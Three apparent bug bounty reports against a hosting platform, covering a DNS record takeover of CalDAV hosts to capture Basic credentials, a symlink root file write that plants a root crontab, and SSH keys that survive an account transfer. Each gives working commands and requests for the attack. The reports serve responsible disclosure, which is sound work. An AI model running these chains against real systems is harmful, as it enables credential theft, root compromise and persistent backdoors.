Name of Vulnerability: An incomplete service-prefix blocklist on the account "name" field lets one customer claim the DNS record of another customer's CalDAV or CardDAV service in the shared alwaysdata.net zone.

The user-facing site address field refuses such a hostname, but the auto-provisioner that creates an account's default address does not run that check. As a result, the DNS record is silently reassigned and the victim's client can deliver its HTTP Basic credential to the attacker over Alwaysdata's own wildcard certificate.

Vulnerability Category:
Access Control Issues / Broken authentication & session management / Exposure of Sensitive Information, per the qualifying list on your bug bounty page.

Description:

An account's name is used to generate that account's per-service alwaysdata.net zone.

You already recognise the risk and maintain a blocklist of service prefixes for the name field, but it covers only 8 of the 10 prefixes your own interface documents.

"imap-" and "carddav-" are missing, along with the other omitted service prefixes, and the relevant services authenticate with a plaintext password on every connection.

Creating a free account called:

caldav-<victim>

therefore takes over:

caldav-<victim>.alwaysdata.net

which is the CalDAV endpoint your own panel tells customer <victim> to configure.

The DNS record moves to the attacker's web node, and your wildcard certificate for the hostname remains valid. A request carrying an Authorization: Basic header for that hostname therefore lands in the attacker's own web root.

That password is the account's service password described at /admin/account/add/ as being used for default users such as FTP, MySQL and SSH.

Two code paths disagree, and that disagreement is the defect.

The user-facing site address field correctly refuses a hostname the attacker does not own:

caldav-vk7victim.alwaysdata.net

is rejected with:

"The domain name alwaysdata.net does not belong to you"

and:

vk7victim.alwaysdata.net

is rejected with:

"delegated to the vk7victim account".

The auto-provisioner's DEFAULT address on account creation does not run that check.

Only the path a customer cannot see is blind.

SCOPE NOTE, established by testing rather than assumed:

Of the four forgotten prefixes, only "caldav-" and "carddav-" are exploitable this way because those services run over the ports the attacker's web node serves.

I checked the other prefixes rather than claiming them:

```
185.31.41.11 the attacker's web node 443 OPEN 993 closed 110 closed
185.31.40.62 the real IMAP and POP host 993 OPEN 995 OPEN 143 OPEN 443 closed
185.31.41.92 the real CalDAV host 443 OPEN 993 closed
```

Seizing imap-<victim> or pop-<victim> therefore points the victim's mail hostname at a host where the relevant mail ports are closed. That disrupts the victim's mail rather than capturing credentials.

Because mail service is outside the programme's scope, I make NO claim about those two prefixes beyond the blocklist gap itself.

Everything below is specific to caldav- and carddav-.

Vulnerable Instances:

POST https://admin.alwaysdata.com/admin/account/add/ field "name"

POST https://admin.alwaysdata.com/account/<id>/rename/
field "name"

POST https://www.alwaysdata.com/en/register/ free self-service signup, no captcha

The DNS auto-provisioner creates an account's default alwaysdata.net zone.

Steps to Reproduce:

Total cost: EUR 0, approximately four minutes.

Every account involved is one I own, and the "victim" record belongs to my own second account.

1. The blocklist gap.

 Each row below is a single POST to /admin/account/add/ showing the validator's verdict on the name field.
 ssh-vk7victim         -> "This name contains an invalid prefix."
 ftp-vk7victim         -> "This name contains an invalid prefix."
 smtp-vk7victim        -> "This name contains an invalid prefix."
 webdav-vk7victim      -> "This name contains an invalid prefix."
 mysql-vk7victim       -> "This name contains an invalid prefix."
 postgresql-vk7victim  -> "This name contains an invalid prefix."
 rabbitmq-vk7victim    -> "This name contains an invalid prefix."
 services-vk7victim    -> "This name contains an invalid prefix."
 imap-vk7victim        -> ACCEPTED, no prefix error
 pop-vk7victim         -> ACCEPTED, no prefix error
 caldav-vk7victim      -> ACCEPTED, no prefix error
 carddav-vk7victim     -> ACCEPTED, no prefix error
 The charset validator is separate and works correctly. Invalid characters are rejected, while alphabetic, numeric and hyphen characters are accepted.
 Uniqueness is case-insensitive, so VK7RESEARCH is refused.

2. Obtain a second free account.

 /admin/account/add/ refuses a second free product for one user, so I used the public signup, which is free and has no captcha.
 POST https://www.alwaysdata.com/en/register/
 email=<ours>[+x@alwaysdata.net](mailto:+x@alwaysdata.net) & password=... & privacy_policy=on
  1. > HTTP 302

Location: /login/?user_id=<dec>&expiration=<ts>&token=<epoch>-<hmac>

 Plus addressing on my own platform mailbox works, so the validation message can be received.
 imap-<ours>.alwaysdata.net:993 with the service password.
 I completed:
 /user/validate/?user_id=<b36>&token=...
 and then POST /login/.

3. Record the victim's CalDAV record BEFORE the attack.

 $ dig +short @dns1.alwaysdata.com caldav-vk7victim.alwaysdata.net A
  1. > 185.31.41.92

the shared Radicale CalDAV host

 $ dig +short @dns1.alwaysdata.com caldav-vk7victim.alwaysdata.net AAAA
  1. > 2a00:b6e0:1:90:8::1

4. Create the colliding account.

 One request, with no warning or confirmation:
 POST https://admin.alwaysdata.com/admin/account/add/
 Referer: https://admin.alwaysdata.com/admin/account/add/
 csrfmiddlewaretoken=<tok>&name=caldav-vk7victim&password=<pw>&product=2012&period=1mo
 &location=datacenter_3&contract_28=on&contract_36=on
  1. > HTTP 302

Location: /subscription/

 /subscription/ then lists:
 caldav-vk7victim | Free (1GB disk, 256M...)
 account 500765, subscription 520987
 with a default site 1078599 and subdomain object 1351172 for:
 caldav-vk7victim.alwaysdata.net

5. The victim's record has moved.

 I queried the authoritative nameserver so this is not a local cache artefact.
 $ dig +short @dns1.alwaysdata.com caldav-vk7victim.alwaysdata.net
  1. > 185.31.41.11

the shared web node serving the attacker's new account

 $ dig +short @dns1.alwaysdata.com caldav-vk7victim.alwaysdata.net
  1. > 2a00:b6e0:1:20:23::1
 $ dig +short @1.1.1.1 caldav-vk7victim.alwaysdata.net A
  1. > 185.31.41.11

6. The edge supplies valid TLS for the stolen name, so the victim's client sees no warning.

 $ openssl s_client -connect caldav-vk7victim.alwaysdata.net:443 
 -servername caldav-vk7victim.alwaysdata.net
  1. > subject=CN=*.alwaysdata.net
  2. > issuer=C=US, O=Let's Encrypt, CN=YE1
  3. > X509v3 Subject Alternative Name:

DNS:*.alwaysdata.net, DNS:alwaysdata.net

  1. > notBefore=Sep 15 06:30:39 2026 GMT
  2. > notAfter=Dec 14 06:30:38 2026 GMT

7. The credential channel terminates in the attacker's web root.

 The genuine service at that hostname uses HTTP Basic, so the client transmits the credential on requests to the hostname.
 $ curl -D- https://caldav-vk7research.alwaysdata.net/
  1. > HTTP/1.0 401
  2. > www-authenticate: Basic realm="Radicale - Password Required"
  3. > server: WSGIServer/0.2 CPython/3.11.2
 A one-line index.php in the attacker account's web root echoes the Authorization header.
 Simulating the client your own documentation tells account vk7victim to configure:
 $ curl -H "User-Agent: DAVx5/4.3.1 okhttp/4.12" 
 -u 'vk7victim:<placeholder>' 
 https://caldav-vk7victim.alwaysdata.net/index.php
  1. > HTTP/2 200
  2. > via: 2.0 alproxy
  3. > served by account: caldav-vk7victim on host http22
  4. > Host header: caldav-vk7victim.alwaysdata.net
  5. > Authorization header received: Basic dms3dmljdGltOi4uLg==
 The value in this request is a PLACEHOLDER, not the account's real password.
 The important point is that the credential channel for the victim's hostname terminates in an unrelated EUR 0 account's web root, inside a TLS session that Alwaysdata itself certified.

8. Additional defect found while remediating: releasing the name does not restore the DNS record.

 POST /account/500765/rename/
 name=zztestl6dns
  1. > HTTP 302
 $ dig +short @dns1.alwaysdata.com caldav-zztestl6dns.alwaysdata.net
  1. > 185.31.41.92

the new name provisioned correctly

 $ dig +short @dns1.alwaysdata.com caldav-vk7victim.alwaysdata.net
  1. > 185.31.41.11

STILL pointing at the attacker's node

 Therefore, the hijack outlives the account name that caused it.
 A no-op rename did not restore it either.
 This is the same stale binding class you have already fixed and paid several times over (FS#139, FS#146, FS#167, FS#217, FS#221, FS#294).

9. Controls that rule out alternative explanations.

 a. The records are real per-account entries, not a wildcard.
 $ dig +short @dns1.alwaysdata.com zzznosuchaccount9912.alwaysdata.net
  1. > no matching account record
 b. Sibling records are untouched throughout, so the reassignment is targeted rather than global:
 caldav-vk7research.alwaysdata.net   A -> 185.31.41.92
 carddav-vk7research.alwaysdata.net  A -> 185.31.41.92
 imap-vk7research.alwaysdata.net     A -> 185.31.40.62
 $ curl -o /dev/null -w '%{http_code} %{remote_ip}' 
 https://caldav-vk7research.alwaysdata.net/
  1. > 302 185.31.41.92
 c. The prefix check is a pure prefix match, independent of whether the suffix names a real account:
 ssh-nosuchacct9912  -> blocked
 pop-nosuchacct9912  -> accepted
 d. The user-facing address field DOES enforce ownership, which demonstrates that the two paths disagree rather than there being no check at all.
 Submitting each of the following on a site I own returned HTTP 200 with a field error and persisted nothing:
 vk7victim.alwaysdata.net
 caldav-vk7victim.alwaysdata.net
 imap-vk7victim.alwaysdata.net
 ssh-vk7victim.alwaysdata.net
 The control that proves my request shape was correct:
 vk7research.alwaysdata.net/orchctl
 returned HTTP 302 in the identical request and was persisted and read back.

Proof of Concept:

Steps 1 to 9 reproduce end to end from curl, dig and openssl with an ordinary free account.

The DNS value change in step 5 was confirmed twice from two independent resolvers, while the sibling records in step 9b remained unchanged during the same sweep.

WHAT THIS REPORT DOES NOT CLAIM, stated plainly:

* I did not point a real third party's calendar client at the seized hostname.

The Authorization header shown in step 7 carries a placeholder rather than any real password. I did not need a real secret to prove where the credential channel terminates, and I did not capture one.

* I did not use a captured credential against FTP, MySQL or SSH.

The reason the service password matters is your own help text at /admin/account/add/, which states that the password is used for default users. I did not need to exercise those services to establish the credential reuse risk.

* The remaining step is standard DAV client behaviour rather than speculation.

A client configured for caldav-<victim>.alwaysdata.net resolves that hostname, reaches the attacker-controlled host over valid TLS, and transmits Basic credentials because that is what the genuine endpoint requires.
Nothing about the victim's configuration changes and nothing prompts them.
I did not execute this against a real victim, so you can weigh the demonstrated credential channel directly.

* I did not claim imap- or pop- seizure as credential capture. See the scope note above.

* The one artefact I cannot repair myself is in step 8:

caldav-vk7victim.alwaysdata.net
still resolves to:
185.31.41.11
as of this report.
Nothing of mine is served there. The record belongs to vk7victim, which is an account I own, so no customer of yours is affected.
Please restore it.

Test window:

2026-09-20, approximately 05:30 to 08:30 UTC, from a single egress IP.

Requests were sequential and paced. Account creation was limited to the single extra account required for the test.

Impact:

With one free signup, an attacker can take over the CalDAV or CardDAV hostname of any named account, and account names are public information under your own rules.

The victim's client can then send the account's service password to the attacker over valid TLS, with no certificate warning and no user action beyond its normal scheduled sync.

Because that password is shared with FTP, MySQL and SSH according to your own account creation documentation, successful capture would potentially extend beyond the calendar or contacts service to the victim's broader hosting account.

The affected account could therefore expose its website, databases, mail and files, depending on which services use the shared service password.

The victim also loses the calendar or contacts service itself because their hostname no longer points to the genuine service.

On the two exclusions in your rules that could be misread onto this finding:

First, the customer site exclusion does not apply. The alwaysdata.net hostnames are linked to customer accounts, and this is not a flaw in a customer's site or anything a customer configured.

The provisioning code operates in a DNS zone controlled by Alwaysdata, and the record is reassigned from one customer to another by your own account creation path. No customer action is involved on either side.

Second, the fact that account names may be discoverable in many different ways does not change the finding.

I am not reporting account name disclosure. The account name is simply the input that selects which victim's DNS record gets reassigned. If name disclosure were eliminated, the provisioning flaw would still exist and would still be reachable by anyone who knows one account name.

On duplication with  FS#348 :

That report, "Subdomain Squatting on alwaysdata.net Platform Namespace", was closed Invalid and concerned claiming unused labels.

This finding takes an existing hostname that already resolves for a live customer and reassigns its DNS record.

Step 5 demonstrates the value changing from the genuine CalDAV host to the attacker's web node, while four sibling records remain unchanged as controls in step 9b.

The defect is therefore in the provisioner's collision handling, not in the availability of an unused name.

What this achieves that a customer's own SSH shell cannot:

It allows a customer to rewrite a DNS record in a zone they do not own and redirect another customer's service hostname to infrastructure controlled by the attacker.

CVSS v3.1:

9.9 Critical - AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

AV:N because every step is performed through network requests.

AC:L because the sequence is deterministic and the only required input is a name the attacker already knows.

PR:L because a free account is required.

UI:N because no victim interaction is required to perform the DNS reassignment. The victim's client sends the credential on its own next scheduled sync, without prompting the victim.

S:C because the vulnerable component is the account provisioning system, while the impacted components are the shared DNS zone and another customer's account.

C:H because the captured credential is the account's service password.

I:H and A:H because the shared password is used across FTP, MySQL and SSH, and because the victim loses the CalDAV/CardDAV service itself.

If you prefer to treat the client's next reconnection as user interaction, the score would be lower.

The demonstrated impact remains Critical under that interpretation, and I am content for you to settle the final scoring based on the facts above.

Recommendation:

1. Complete the prefix blocklist.

 Add all omitted service prefixes, including:
 "imap-"
 "pop-"
 "pop3-"
 "caldav-"
 "carddav-"
 Better, derive the validation list from the same service-prefix list used by the provisioner so the two cannot drift apart again.

2. Apply the ownership and collision check in the auto-provisioner, not only in the user-facing address form.

 A default address that would collide with an existing record in the shared zone should be rejected using the same ownership check that control 9d shows you already implement on the other path.

3. Reject any account name that would collide with an existing generated record in the zone rather than relying solely on a static prefix list.

4. Restore a released hostname to its rightful owner when a colliding account is renamed or deleted, as demonstrated in step 8.

5. Consider not sharing one password across web, FTP, SSH and MySQL.

 Separating service credentials would ensure that capturing one service credential does not automatically provide access to the broader hosting account.
 484  Arbitrary file write and code execution as root on shar ...Closed24.09.2026 Task Description

Vulnerability Information:

Name of Vulnerability:
Arbitrary file write as uid 0 on the shared hosting nodes. Four privileged writers open a destination path inside a directory the customer owns, without O_NOFOLLOW, and the site fields "log_type", "log_file" and "log_format" let the customer choose both the destination and the content. This yields root code execution from a single HTTP request to the customer's own website.

Vulnerability Category: Remote Code Execution (RCE) / Horizontal and vertical privilege escalation / Local files access and manipulation, per the qualifying list on your bug bounty page.

Description:

Your control plane distributes per-account configuration to the fleet through the filesystem. Root processes on overlord-core and on the node write generated files into each customer's NFS-mounted home under ~/admin/.

Two of the directories in that path are owned or writable by the customer and neither carries the sticky bit, so the customer can move or delete the root-owned directories underneath and substitute their own.

/home/<account> is drwxrwx— root:<account>, and ~/admin/logs is drwxr-x— <account>:<account>, while its children logs/http and logs/sites are root:root.

rename(2) and unlink(2) require write and execute permission on the PARENT directory only. Therefore, an unprivileged customer can replace those root-owned children and can replace the whole ~/admin tree the same way.

Hardening the inner directories has no effect while their parent remains writable by the tenant.

Having taken control of the path, the customer plants a symlink where the privileged writer expects to write.

The writers open their destination with O_CREAT|O_APPEND and no O_NOFOLLOW, and do not unlink the destination first. They therefore follow the symlink and write to its target as uid 0.

For the HTTP access-log writer, the customer controls the content by selecting:

log_type=CUSTOM

This makes the site field log_format the access-log line format. It is free text with a maximum length of 1024, is not validated, and is emitted verbatim.

Path control plus content control therefore provides arbitrary root file creation and, from there, arbitrary root code execution.

Writing a crontab into /etc/cron.d/ produces a root shell within 60 seconds, and I obtained:

uid=0(root)

on the shared web node http22.

This is the same class as  FS#367 , which you fixed and paid, but it is a different mechanism.  FS#367  was argument injection into a sudo helper, and that helper is now correctly hardened.

Vulnerable Instances:

POST https://admin.alwaysdata.com/site/<id>/
fields: log_type, log_file, log_format

POST https://admin.alwaysdata.com/environment/ any change that causes configuration regeneration

~/admin/logs/http/<YYYY>/<log_file>-<date>.log
written by the shared front end as root

~/admin/logs/sites/<YYYY>/sites-<date>.log
written by the shared front end as root

~/admin/config/apache/sites.conf
written by "Updating Apache configuration" as root

~/admin/config/apache/apache.conf
same writer

~/admin/config/php/*.ini
regenerated root:root inside a replaced subtree

~/admin/logs/jobs/<YYYY>/<jobid>-<date>.log
written as root by the job command

The issue was reproduced on the web tier http22 and the SSH tier ssh2, which share /home over NFSv4.

Steps to Reproduce:

All steps run on vk7research, a free plan account I own. The starting state is a freshly provisioned free account with one site.

1. The precondition.

 The root-owned control tree sits inside directories the customer controls, with no sticky bit anywhere in the path.
 $ stat -c "%A %U:%G %n" ~ ~/admin ~/admin/logs
  1. > drwxrwx— root:vk7research /home/vk7research
  2. > drwxr-xr-x root:root /home/vk7research/admin
  3. > drwxr-x— vk7research:vk7research /home/vk7research/admin/logs
 $ ls -la ~/admin/logs/
  1. > drwxr-xr-x 3 root root 26 .. http
  2. > drwxr-xr-x 3 root root 26 .. sites
 Two root:root directories therefore exist inside a directory controlled by the account.

2. Take control of the destination path.

 $ mv ~/admin/logs/http ~/admin/logs/http.bak
 $ mkdir -p ~/admin/logs/http/2026
 Both commands succeed as the unprivileged account.

3. Plant the symlink under the filename the writer will open.

 The final path component comes from the site field log_file, so the name is known in advance.
 $ ln -s /etc/cron.d/l3root ~/admin/logs/http/2026/L3F-2026-09-20.log

4. Set the three site fields, authenticated as the ordinary account owner.

 POST https://admin.alwaysdata.com/site/1078598/
 Referer: https://admin.alwaysdata.com/site/1078598/
 csrfmiddlewaretoken=<tok>&log_type=CUSTOM&log_file=L3F
 &log_format=* * * * * root /bin/sh /home/vk7research/l3poc.sh
  1. > HTTP 302 (saved)

5. Issue ONE HTTP request to the customer's own website.

 The root writer creates the symlink target.
 $ curl -s https://vk7research.alwaysdata.net/ >/dev/null
 $ ls -la /etc/cron.d/l3root
  1. > -rw-r–r– 1 root root 48 Sep 20 07:36 /etc/cron.d/l3root
 $ cat -A /etc/cron.d/l3root
  1. > * * * * * root /bin/sh /home/vk7research/l3poc.sh$
 The cat -A output is exactly the submitted log_format value and is fully attacker controlled rather than being appended to an existing line.

6. Within 60 seconds cron executes it as root.

 The three commands below are the ones your rules specify for demonstrating root:
 $ id
  1. > uid=0(root) gid=0(root) groups=0(root)
 $ hostname
  1. > http22
 $ pwd
  1. > /root
 $ cat /proc/1/maps
  1. > 153 lines, 16495 bytes
 $ touch /root/vk7research ; ls -la /root/vk7research
  1. > -rw-r–r– 1 root root 0 Sep 20 07:37 /root/vk7research

7. Controls that rule out alternative explanations.

 a. Symlink following was isolated before any content control was attempted.
 A root:root file appeared at a path of my choosing using the config writer alone.
 b. A destination OUTSIDE the home, in a directory the tenant cannot write, confirms that the write is not merely occurring inside space I already own.
 /nfs/http22.root
 My UID receives Permission denied on it.
 $ ln -s /nfs/http22.paris1/ROOTWRITE_CANARY ~/admin/config/apache.conf
 (regenerate the Apache config)
 $ ls -la /nfs/http22.paris1/ROOTWRITE_CANARY
  1. > -rw-r–r– 1 root root 1254 Sep 20 07:39 /nfs/http22.paris1/ROOTWRITE_CANARY
 c. The destination is attacker-chosen and is resolved by the privileged writer.
 Pointing the same symlink into a directory that does not exist makes the platform task end in:
 Status: Failure
 instead of succeeding.
 /task/40446968/detail/ -> Failure
 (symlink target directory absent)
 /task/40447214/detail/ -> Completed
 (symlink target directory exists)
 d. This is a real uid 0 write on the node, not a root-squashed NFS write.
 A marker written to /tmp/L3ROOTPROBE-a1b2 is root:root on http22 and absent on ssh2, confirming that the write executes as root on the web node.
 e. The tenant cannot reach uid 0 through another route on these nodes.
 I checked:
 $ grep -E "NoNewPrivs|CapEff" /proc/self/status
  1. > NoNewPrivs: 1
  2. > CapEff: 0000000000000000
 sudo refuses over SSH entirely.
 $ find / -perm -4000 -o -perm -2000 -type f 2>/dev/null | wc -l
  1. > 0
 There is no SUID or SGID binary anywhere on either node.
 $ sudo -n -l
  1. > (root) NOPASSWD: /alwaysdata/sbin/install_language_package
 That helper is the only grant and is properly fixed.
 I tested 14 injection variants, including command separators, quotes, LF, -o Dpkg::Pre-Invoke::= in both argument positions, arithmetic subscripts and relative source CWD hijacking. All returned rc=2 and wrote no marker.
 $ head -1 /proc/1/maps
  1. > head: cannot open '/proc/1/maps' for reading: No such file
 /proc is mounted with hidepid=invisible, so the 16,495-byte capture in step 6 is obtainable only as uid 0.
 f. Your own codebase contains the correct pattern, so this is an inconsistency rather than a design choice.
 The php_ini writer creates a fresh content-hashed file:
 php-<siteid>.ini
 A planted symlink there is replaced rather than followed, and that writer is NOT vulnerable.

Proof of Concept:

Steps 1 to 7 reproduce end to end with standard Linux tools and an ordinary authenticated session on a free plan account.

I executed the chain twice through two independent writers described in steps 3 to 6, and also reproduced the behaviour with the Apache configuration writer in control 7b, whose root-owned output landed outside my home directory.

WHAT THIS REPORT DOES NOT CLAIM, stated plainly:

* I did NOT read other customers' files, mail, databases or keys. The scale figures in the Impact section below come from directory link counts on the NFS export roots, without entering anyone else's directory.

* While I held uid 0, I did not touch /etc/passwd, /etc/shadow, /etc/sudoers, any authorized_keys file, and I installed no persistence. The only files I created are listed in the cleanup note accompanying this report.

* I did not test whether root on this client is root on the imap5 or backup2 NFS exports, so I make no claim about the mail or backup stores beyond noting the relevant shared infrastructure.

* /etc/cron.d/l3root was removed and its absence was verified over a five-minute window with no further executions.

* The genuine root:root ~/admin/logs/{http,sites} directories were restored.

* I noticed that /run/rpcbind.sock is mode srw-rw-rw- on both ssh2 and http22, which are NFS clients of the customer mail and backup estate. I did NOT touch it because doing so would be disruptive and your rules prohibit that. I mention it so you can audit it.

Test window:

2026-09-20, approximately 05:30 to 08:30 UTC, from a single egress IP.

Requests were sequential and paced. Several short-lived SSH sessions were used during that window, and the connection rate guard began refusing them toward the end.

Impact:

Any customer on a free plan can obtain uid 0 on the shared node that hosts their website with one HTTP request to their own website.

No paid product, special permission or second account is required.

The scale is visible from metadata that a tenant can read directly. The NFS export roots under /nfs/ are drwxr-x–x root:root, so they cannot be listed, but their directory link counts expose the approximate number of per-account subdirectories each volume holds:

$ ls -la /nfs/

→ drwxr-x–x 6393 root root http21.paris1
approximately 6391 per-account directories

→ drwxr-x–x 8147 root root http22.paris1
approximately 8145 per-account directories

→ drwxr-x–x 6006 root root imap3.paris1
approximately 6004 per-account directories

→ drwxr-x–x 27750 root root imap5.paris1
approximately 27748 per-account directories

http22, the node where I obtained root, is itself the NFSv4 server for the home directories on /nfs/http22.paris1.

That is the directory where my test demonstrated a root-owned file could be created at a path my account could not otherwise write.

Every co-tenant home is also mounted on the node, as shown by the tenant's own mount table:

http22.paris1:/<account> on /home/<account> type …

/var/lib/extrausers/passwd, the node-wide NSS database, holds approximately 8,515 accounts.

What follows from uid 0 on a POSIX host with those mounts is direct filesystem authority over the files the node can reach, including directories belonging to co-located accounts.

The root writer chain therefore includes access to locations such as:

/etc/sudoers.d
/etc/passwd
/etc/shadow
authorized_keys

I am not inferring a capability that was not tested. The demonstrated capability is arbitrary file creation as uid 0, including outside the customer's own home, and the resulting root shell.

On the argument that "our clients can already execute anything they want using the shell":

That reasoning does not apply here.

This is the reasoning previously used to close  FS#347 ,  FS#449  and  FS#470 , and I tested it rather than assuming it away.

Control 7e shows that the tenant shell cannot reach uid 0 through the existing routes:

* NoNewPrivs is 1, so sudo refuses outright.
* CapEff is all zero.
* There is no SUID or SGID binary on either node.
* The single sudo grant is correctly validated.
* /proc is protected with hidepid.
* The write demonstrated in steps 5 and 6 happens as uid 0.

The gap between what a customer shell can do and what this vulnerability yields is the entire finding.

CVSS v3.1:

9.9 Critical - AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

AV:N because the trigger is an authenticated HTTP request to admin.alwaysdata.com plus one request to the customer's own site.

AC:L because the sequence is deterministic once the account and site are available.

PR:L because a free account is required.

UI:N because no other person participates.

S:C because the vulnerable component is the control plane's configuration service while the impacted component is the operating system of a shared node and the accounts co-located on it.

C:H, I:H and A:H because uid 0 on that node has authority over the data, configuration and services accessible from the shared operating system environment.

If you prefer to score only what I directly exercised rather than the full authority conferred by uid 0, the demonstrated arbitrary root file creation in /etc is itself sufficient to establish a Critical impact.

Recommendation:

1. Do not store root-owned state inside a customer-writable directory.

 Move the ~/admin control tree outside /home/<account>, or make /home/<account> and ~/admin/logs non-writable by the tenant, or set the sticky bit so the tenant cannot rename or delete root-owned children.
 This closes the whole class and is the only fix that closes all four affected writers.

2. Open every generated destination with O_NOFOLLOW, and write via a fresh temporary file followed by an atomic rename(2) rather than opening an existing path.

 Your php_ini writer already uses the correct pattern, so that implementation can be reused.

3. Drop privileges to the account's UID for anything written inside the customer's home.

 None of these files needs to be created by uid 0.

4. Validate log_format.

 It is currently up to 1024 bytes of unvalidated text consumed by a root process, and this is what turns the arbitrary file write into code execution.
 Restrict it to the documented format directives.

5. Audit the other writers in the same service for the same ordering and symlink-following issue.

 I found four affected writers, and the jobs/<YYYY>/<jobid>-<date>.log writer additionally embeds job-controlled content, giving it the same content-control property as log_format.
 483  Account transfer leaves previous owner with permanent u ...Closed16.09.2026 Task Description

# alwaysdata — Account transfer leaves the previous owner with permanent, unrevocable SSH access

Researcher: (submit via security.alwaysdata.com task)
Target: https://admin.alwaysdata.com/ssh/ (panel) + ssh-<account>.alwaysdata.net
Severity: Critical (CVSS 3.1 ≈ 9.1 – AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N)
Date: 2026-09-16

—

## Summary

An alwaysdata account can be transferred from one profile to another (`Transfers → Transfer a → account`).
When the account changes hands, the previous owner keeps full SSH shell access to it — provided they
planted an SSH public key while they still owned the account.

The key survives the ownership change, is not visible anywhere in the new owner's panel or in the API,
and keeps working after the new owner rotates the SSH user's password. The SSH user also cannot be
deleted
— the panel renders the delete control disabled with `title="Impossible deletion"` — so the new
owner has no way inside the platform to remove the previous owner's access.

Net effect: the new owner receives an account that a third party they know nothing about can still log
into, read, and write.

## Affected asset

- `https://admin.alwaysdata.com/transfer/` — account transfer flow
- `https://admin.alwaysdata.com/ssh/` and `https://admin.alwaysdata.com/ssh/<id>/` — SSH user management
- `ssh-<account>.alwaysdata.net` — SSH endpoint
- Underlying defect: `~/.ssh/authorized_keys` of the account's SSH user is account content that survives

the ownership change, while the management surface exposes only `name / password / home_directory /
shell / can_use_password / annotation` (verified against `https://api.alwaysdata.com/v1/ssh/doc/`).
There is **no field anywhere for SSH public keys**.

## Reproduction

Two accounts, both owned by me, on the same platform. No third-party data is involved.

Roles: A = the victim (new owner), B = the previous owner (`adsecb01`, account id 499971).

1. As B, add my SSH public key to the account's SSH user:

 ```
 ssh B@ssh-adsecb01.alwaysdata.net      # password login
 mkdir -p ~/.ssh && chmod 700 ~/.ssh
 echo "ssh-ed25519 AAAA...C1lZDI1NTE5AAAAI... stale-access-test" >> ~/.ssh/authorized_keys
 chmod 600 ~/.ssh/authorized_keys
 ```
 Verify key-only login works (no password):
 ```
 ssh -i id_ed25519 -o PreferredAuthentications=publickey -o PasswordAuthentication=no \
     B@ssh-adsecb01.alwaysdata.net id
 → uid=547923(adsecb01) gid=501971(adsecb01) groups=501971(adsecb01)
 ```

2. As B, transfer the account to A: `Transfers → Transfer a → account → new owner: A's email`.

 As **A**, accept it: `Transfers` → Accept → tick *Special conditions (shared hosting)* and
 *Terms of use* → Submit.
 → `Transfers` shows "No pending transfer" and A's `Subscriptions` now lists `adsecb01`.

3. The panel access of B is correctly revoked (B's account selector is empty, none of B's pages

 mention `adsecb01` any more) — **but the key still logs in**:
 ```
 ssh -i id_ed25519 -o PreferredAuthentications=publickey -o PasswordAuthentication=no \
     B@ssh-adsecb01.alwaysdata.net id
 → uid=547923(adsecb01) ...
 ```

4. A hardens the account the only way the panel allows: `SSH users → adsecb01 → set a new password →

 Submit`. The old password stops working:
 ```
 ssh B@ssh-adsecb01.alwaysdata.net   # password auth with the old password
 → Permission denied, please try again.
 ```
 …and the planted key **still works**:
 ```
 ssh -i id_ed25519 -o PreferredAuthentications=publickey -o PasswordAuthentication=no \
     B@ssh-adsecb01.alwaysdata.net "echo KEY_STILL_WORKS_AFTER_ROTATION"
 → KEY_STILL_WORKS_AFTER_ROTATION
 ```

5. There is no way for A to remove it from the panel:

  1. the `SSH users` row for `adsecb01` — the user whose name matches the account, i.e. the one carrying

the planted key — renders its delete control as

   `<i class="far fa-trash-alt disabled" alt="Impossible deletion" title="Impossible deletion"></i>`
   with **no delete link at all**, and this stays disabled even after A adds a second SSH user
   (`adsecb01_safe`), whose own delete link *is* active. So the primary SSH user cannot be removed by
   the owner, ever, through the panel;
 - `https://admin.alwaysdata.com/ssh/537923/` offers only *Name / Password / Home directory / Shell /
   Enable password-based login / Annotation* — no key management;
 - the `ssh` API resource (`https://api.alwaysdata.com/v1/ssh/doc/`) exposes `id, href, name, password,
   home_directory, shell, can_use_password, annotation` — no key-related field.
 The single remaining remediation is to log in over SSH and empty `~/.ssh/authorized_keys` by hand —
 which presupposes the new owner already knows a foreign key is there, and nothing in the client area,
 the transfer notification, the SSH user page or the API tells them that.

6. Proof of actual read/write on the new owner's data — A writes files, B reads/writes with the key only:

 ```
 # as A (new owner, with the rotated password)
 echo 'SECRET-OF-NEW-OWNER' > ~/newowner_private.txt
 echo 'NEW-OWNER-DEPLOYMENT' > ~/www/deployed_by_new_owner.html
 # as B (previous owner, no password, key only)
 cat ~/newowner_private.txt          → SECRET-OF-NEW-OWNER
 echo '<h1>PWNED-BY-PREVIOUS-OWNER</h1>' > ~/www/prev_owner_backdoor.html
 ```
 The planted file is served publicly from the new owner's domain:
 ```
 curl https://adsecb01.alwaysdata.net/prev_owner_backdoor.html
 → 200 <h1>PWNED-BY-PREVIOUS-OWNER</h1>
 ```

## Impact

A previous owner retains persistent, password-independent, panel-invisible shell access to an account
that now belongs to someone else. From that position they can read, modify or delete the new owner's files,
databases, mail configuration and deployed code; run arbitrary processes under the account; plant web
backdoors reachable over the account's public domain; and re-establish access at will.

The compromise is designed-in by the platform, not by user error: the new owner sees the SSH user, cannot
delete it ("Impossible deletion"), has no UI or API to inspect its authorized keys, and rotating the
password — the natural harden-after-receiving-an-account action — does not revoke the attacker's key.
Nothing in the client area signals that a third party still holds working credentials.

This is the same class as two reports you already fixed and paid:
-  FS#139  — *Session Persistence After Subdomain Reuse or Transfer Leads to Email Account Takeover*
-  FS#294  — *Persistent Owner Access Leads to Mailing Takeover After Domain Transfer*

Both relied on the same principle: an ownership change must terminate the previous owner's access.
The transfer of an account (rather than a subdomain or a mailing) still does not do that for SSH keys.

## Recommendation

1. On account transfer, revoke the previous owner's credentials: clear (or rotate) the account's SSH

 `authorized_keys`, and/or force regeneration of the account's SSH users and their passwords.

2. Expose SSH public keys as first-class objects (field on the SSH user, panel UI + `ssh` API resource)

 so the owner can see and delete every key that grants access.

3. Allow deleting/replacing the last SSH user (currently blocked as "Impossible deletion"), or at minimum

 allow clearing its authorized keys.

4. Notify the new owner when an account arrives with pre-existing SSH keys, and record a transfer-time

 event in `Logs` that lists the credentials that were active at handover.

## Notes on testing discipline

- All testing used two accounts I own; no other customer's data was accessed. The key, the files and the

web backdoor live on my own free-tier accounts and can be left in place for your retest.

- No automated scanners were used, no DoS, no third-party assets.

